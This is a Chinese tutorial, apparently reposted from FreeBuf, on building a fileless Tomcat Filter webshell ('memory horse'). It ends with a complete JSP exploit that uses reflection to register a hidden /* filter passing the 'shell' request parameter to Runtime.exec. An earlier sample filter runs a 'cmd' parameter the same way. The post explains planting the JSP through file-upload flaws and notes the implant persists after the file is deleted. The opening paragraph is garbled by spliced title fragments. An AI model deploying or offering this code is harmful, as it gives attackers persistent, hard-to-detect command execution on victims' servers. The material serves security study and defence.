当前位置:首页 >百科 >Java内存马连续剧——Filter内存马 马连马都会执行恶意代码

Java内存马连续剧——Filter内存马 马连马都会执行恶意代码

2024-06-30 20:14:24 [百科] 来源:避面尹邢网

Java内存马连续剧——Filter内存马

作者:XiLitter 安全 应用安全 注入成功后,内存内存我们对服务器访问任何请求,马连马都会执行恶意代码。续剧而且当jsp文件删除后,内存内存木马仍然有效。马连马它存在当前的续剧web应用上下文中,所以重启服务器就没了。内存内存

知识基础:

刚开始内存马的马连马这块学习与反序列化并无太大关系,反而与javaweb,续剧tomcat联系更加紧密。内存内存所以在学习内存马之前需要先了解JSP,马连马java web的续剧三大件,Servlet,内存内存Filter,马连马Listener的续剧基本知识和工作流程和Tomcat 架构的相关内容。

Java内存马连续剧——Filter内存马 马连马都会执行恶意代码

0x01 什么是Filter马

内存马就是无文件木马,无文件落地,它通常会存在进程,内存或者java虚拟机中,特点更加隐蔽,难以排查,并且也难以删除。而今天学习的Filter内存马是传统web应用型内存马,主要将恶意代码注入到过滤器中,当过滤器拦截servlet请求的参数时,过滤器中的恶意代码就会执行。

Java内存马连续剧——Filter内存马 马连马都会执行恶意代码

0x02 环境搭建

首先配置一个 servlet 的web项目,

Java内存马连续剧——Filter内存马 马连马都会执行恶意代码

1.png1.png

然后一直点下一步就好了,它会自动帮我们生成一个简单的servlet。

pom.xml中导入tomcat相关依赖:


<dependency><groupId>org.apache.tomcat</groupId><artifactId>tomcat-catalina</artifactId><version>9.0.38</version><scope>provided</scope></dependency><dependency><groupId>org.apache.tomcat</groupId><artifactId>tomcat-websocket</artifactId><version>9.0.38</version></dependency>


方便之后调试代码,在这之后我们创建一个自定义的Filter过滤器


package com.example.memoryhorse;import javax.servlet.*;import java.io.IOException;public class MyFilter implements Filter{ @Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("执行过滤功能");servletRequest.setCharacterEncoding("utf-8");servletResponse.setCharacterEncoding("utf-8");servletResponse.setContentType("text/html;charset=UTF-8");filterChain.doFilter(servletRequest,servletResponse);System.out.println(servletRequest.getParameter("cmd"));Runtime.getRuntime().exec(servletRequest.getParameter("cmd"));}}


重写了doFilter方法,里面添加恶意代码,接收cmd参数,执行任意命令。web.xml中配置相关参数


<filter><filter-name>MyFilter</filter-name><filter-class>com.example.memoryhorse.MyFilter</filter-class></filter><filter-mapping><filter-name>MyFilter</filter-name><url-pattern>/MyFilter</url-pattern></filter-mapping>


这里我定义的是/MyFilter路由,在访问这个路由时,就会被我们自定义的过滤器拦截。

0x03 Filter内存马探索

这个时候是不是就有点像内存马的样子,我们注册了一个恶意的 /MyFilter 路由,访问这个路由可以执行任意代码。测试一下。

2.png2.png

成功弹出计算器,这也是注入Filter内存马的一个抽象的体现。然而在实际攻防场景中,我们不可能在别人服务器上插入自己自定义的过滤器,web.xml这个配置文件也不是那么容易修改,就算修改了配置文件也很好排查,起不到隐秘的效果,要想动态的注册Filter马,就必须弄清楚过滤器的创建和调用过程。

1.tomcat Filter 的流程分析

在MyFilter的doFilter方法里下个断点,访问/MyFilter路由,会被我们自定义的过滤器拦截,doFilter方法是处理过滤功能的方法,开始调试。

3.png3.png

这个filterChain是一个过滤器链,通过调试看到里面存放着两个过滤器,一个是我们自定义的,一个是 tomcat 自带的,跟进它的doFilter方法。

判断 Globals.IS_SECURITY_ENABLED 安全模式是否开启,这里判断false。

4.png4.png

跟进 internalDoFilter 方法。

5.png5.png

filters 是过滤器链数组,取数组的下标,遍历过滤器,赋值给filterConfig。

6.png6.png

此时的过滤器为WsFilter 调用它的doFilter方法,跟进看一下。

7.png7.png

这里的判断 是否满足WebSocket握手的特殊条件,而且是否已经配置了相应的类来处理WebSocket连接,如果两个都不满足,然后回调用过滤器链中的下一个过滤器。继续跟进。

又回到了 internalDoFilter 方法,此时pos=2,不满足if条件。也就是说当过滤器遍历完后,就会调用 service 方法处理具体的业务请求。

8.png8.png

事实上可以定义多个过滤器,当拦截请求后,从filterChain 中一个个调用doFilter方法,最终执行 service 方法。

那么Filter链是怎么一步步创建的,我们要注册一个恶意的Filter进去就需要了解Filter链的创建过程。

9.png9.png

通过执行流可以看到不断调用 invoke 方法,跟进最后一个 invoke方法,也就是 StandardWrapperValve 类的 invoke 方法。

10.png10.png

这里已经创建好了 Filter链,往上翻代码。

11.png11.png

createFilterChain 就是创建Filter链的重要方法,进入到这个方法下个断点,开始调试。

12.png12.png

这里实例化一个filterChain,设置了当前过滤器链中的 Servlet,然后获取当前 Servlet 包含在的上下文,从调式信息就可以看到是 StandardContext 对象,最后定义一个filterMaps 获取了当前上下文中的过滤器映射。

13.png13.png

此时的filterMaps就获取到了两个过滤器,到后面会对filterMaps进行两次遍历。

这段代码的目的是将根据 URL 和 Servlet 名称匹配的过滤器配置添加到过滤器链中,以确保在请求处理过程中应用适当的过滤器。匹配过滤器配置时,会检查 Dispatcher 类型、URL 和 Servlet 名称,然后将匹配的过滤器配置添加到过滤器链中。如果没有匹配的过滤器配置,继续处理下一个过滤器映射。

14.png14.png

filterConfig 是通过调用context上下文的findFilterConfig方法获取,filterConfigs是一个Map,从里面拿。

15.png15.png

最后通过 addFilter 方法将过滤器添加到链中。

2.攻击思路分析

过滤器是从filterConfigs这个Map里拿的,那么我们把恶意的Filter添加进 filterConfigs 里,等它取出来,添加到Filter链中就可以了,那么接下来怎么构造过滤器,也就是filterConfig,看调试信息。

16.png16.png

首先获取上下文context,然后就是自定义的filter代码,最后一个filterDef就是对应web.xml中对filter的配置,fiterConfig的相关内容都是从context中得到。


FilterDefs:存放 FilterDef 的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例等基本信息FilterConfigs:存放 filterConfig 的数组,在 FilterConfig 中主要存放 FilterDef 和Filter 对象等信息FilterMaps:存放 FilterMap 的数组,在 FilterMap 中主要存放了 FilterName 和 对应的 URLPattern


所以只要我们将filter ,FilterDefs,FilterMaps添加到FilterConfigs中就可以添加filter了。

贴上别的师傅的流程图:

17.png17.png

其中这里涉及到了几个类:


ServletContext:javax.servlet.ServletContextServlet规范中规定了的一个ServletContext接口,提供了Web应用所有Servlet的视图,通过它可以对某个Web应用的各种资源和功能进行访问。WEB容器在启动时,它会为每个Web应用程序都创建一个对应的ServletContext,它代表当前Web应用。并且它被所有客户端共享。 ApplicationContext:org.apache.catalina.core.ApplicationContext对应Tomcat容器,为了满足Servlet规范,必须包含一个ServletContext接口的实现。Tomcat的Context容器中都会包含一个ApplicationContext。StandardContext:Catalina主要包括Connector和Container,StandardContext就是一个Container,它主要负责对进入的用户请求进行处理。实际来说,不是由它来进行处理,而是交给内部的valve处理。一个context表示了一个外部应用,它包含多个wrapper,每个wrapper表示一个servlet定义。(Tomcat 默认的 Service 服务是 Catalina)


引用师傅的解释,当前这是前面tomcat架构的内容,所以基础内容还是要了解。

0x04 Filter内存马exp编写

通过反射创建上面需要的几个对象:


<%@ page import="java.lang.reflect.Field" %><%@ page import="org.apache.catalina.Context" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %><%@ page import="java.lang.reflect.Constructor" %><%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %><%@ page import="org.apache.catalina.core.ApplicationContextFacade" %><%@ page import="org.apache.catalina.core.ApplicationContext" %><%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="java.util.HashMap" %><%@ page import="java.io.IOException" %><%//请求对象 request 中获取 ServletContext 对象。ServletContext servletContext = request.getServletContext();//ApplicationContextFacade 是 Spring 框架中的一个类,用于封装 Spring 的 Web 应用程序上下文。ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;//通过反射获取上下文Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");applicationContextFacadeContext.setAccessible(true);// context 字段,即 Spring 的应用程序上下文对象。通过反射获取到该字段的值,它被强制转换为 ApplicationContext 类型ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);//从 ApplicationContext 类中获取一个名为 "context" 的私有字段。这个字段存储了实际的 Spring 应用程序上下文对象Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");applicationContextContext.setAccessible(true);//类型转换standardContext,标准的web应用程序上下文StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);//创建filterConfigsField filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");filterConfigs.setAccessible(true);HashMap hashMap = (HashMap) filterConfigs.get(standardContext);String filterName = "Filter";if (hashMap.get(filterName)==null){ //构造filter对象Filter filter = new Filter() { @Overridepublic void init(FilterConfig filterConfig) throws ServletException { System.out.println("filter初始化");}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { servletRequest.setCharacterEncoding("utf-8");servletResponse.setCharacterEncoding("utf-8");servletResponse.setContentType("text/html;charset=UTF-8");filterChain.doFilter(servletRequest,servletResponse);System.out.println(servletRequest.getParameter("shell"));Runtime.getRuntime().exec(servletRequest.getParameter("shell"));System.out.println("执行过滤");}@Overridepublic void destroy() { }};//构造filterDef对象FilterDef filterDef = new FilterDef();filterDef.setFilter(filter);filterDef.setFilterName(filterName);filterDef.setFilterClass(filter.getClass().getName());//将过滤器的配置信息添加到应用程序上下文中standardContext.addFilterDef(filterDef);//构造filterMap对象FilterMap filterMap = new FilterMap();//添加映射的路由为所有请求filterMap.addURLPattern("/*");filterMap.setFilterName(filterName);filterMap.setDispatcher(DispatcherType.REQUEST.name());//将上述设置好的过滤器映射对象添加到 StandardContext 中,并将其插入到已有的过滤器映射之前standardContext.addFilterMapBefore(filterMap);//构造filterConfigConstructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);constructor.setAccessible(true);ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);//将filterConfig添加到filterConfigs中,即可完成注入hashMap.put(filterName,applicationFilterConfig);response.getWriter().println("注入完成");}%>


为什么要写jsp文件,因为在实际场景中,可以通过文件上传漏洞将这个jsp马上传上去完成内存马的注入。注释上写了,分步编写exp。

18.png18.png

注入成功后,我们对服务器访问任何请求,都会执行恶意代码。而且当jsp文件删除后,木马仍然有效。它存在当前的web应用上下文中,所以重启服务器就没了。

参考链接:

https://xz.aliyun.com/t/10888

本文作者:XiLitter, 转载请注明来自FreeBuf.COM

责任编辑:武晓燕 来源: ​​​FreeBuf.COM​ 服务器木马jsp

(责任编辑:焦点)

    推荐文章
    热点阅读